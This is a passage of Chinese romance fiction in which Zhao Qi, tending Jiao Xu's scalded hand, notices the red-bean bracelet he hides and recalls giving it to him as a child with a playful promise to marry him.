她轻轻捧着他的手,温柔又耐心,不过就是烫了一下而已,她却那样小心,好像他是什么瓷做的,重一些就会碎似的。 焦勖垂着脸,忽然就红了眼睛。 “还有别的地方烫到吗?” 赵琦一面问着一面伸手卷起焦勖右手的衣袖,方才卷了一半,他忽然跟被鬼上了身似的,猛地用力甩开她的手,倒把赵琦唬了一跳。 “没...没了。” 焦勖惊慌失措地猛抽回手,脸色发白,一连往后退了三四步,手指紧张地蜷缩起,背着手紧紧将系着红豆的手腕死死藏在身后,眼神惊疑不定,愈发不敢去看赵琦的表情了。 反应这么大,她牵他手都没叫他这么激动。什么东西这么怕被她看到,赵琦微微蹙眉。她只记得他腕上好像戴着条黑金色的串绳,绳上隐约坠着的是颗艳丽似血的红豆。 赵琦的目光一看过去,焦勖白着脸又往后退了一步。 赵琦气笑了,目光顺着焦勖死死藏在身后的那只手看去,一些尘封在记忆深处的回忆忽的跟着鲜活了过来。 她想起来了。 有一年春天,英叔在院子里给芸姨做红豆香串,她觉得那些红豆亮晶晶的,好看得紧,便也吵着要跟英叔一起做红豆香串。 彼时她年纪小,心中全然没有世俗间所谓男婚女嫁的观念。 好不容易把红豆香珠手串做好了,她便献宝似的套在了焦毓腕上,趴在他膝上笑嘻嘻地望着他,天真地对焦毓说:“阿焦哥哥,你把这个收好,等我长大了我就娶你好不好?我会像英叔对芸姨那样好一样对你好的。” 焦毓哪里想她人小鬼大,当着他爹娘的面,竟说出如此惊世骇俗的话,立时羞得面红耳赤,捂着那手串要也不是,不要也不是。 焦毓兀自红着脸正自难为情着,偏他爹娘都还跟着起哄。 梁芸忍俊不禁,笑得眉眼弯弯。 焦陆英更夸张,捂着肚子笑得眼泪直流,偏还要逗赵琦:“小阿若,那说好了,等你长大了,我就把我们家阿毓嫁给你。” 焦毓见他爹没个正经,这种时候还打趣他,哄赵琦玩,越发急得连眼尾也羞红了,伸手捂住赵琦的耳朵不叫她听他爹胡说八道。 焦毓一家笑的笑,羞的羞,只有个赵琦懵懵懂懂地也听不懂焦陆英是在逗她,把焦陆英的话当了真,小大人般十分认真地点头郑重道:“君子一言驷马难追,一言为定哦英叔,你可不能反悔,以后一定要把阿焦哥哥嫁给我。” 赵琦任由焦毓捂着她耳朵,仰着脸张开手一把将他抱住,宣誓主权似的,天真又烂漫地冲他乖巧地笑着。 焦陆英瞧她一本正经的模样,愈发忍不住了,直笑得捂着肚子滚在地上,抱着梁芸的腿边笑便说:“阿芸,咱们家阿毓可许给这小丫头了,我可赖不掉了。” 赵琦回过神,轻轻笑了。 原来他还戴着呢。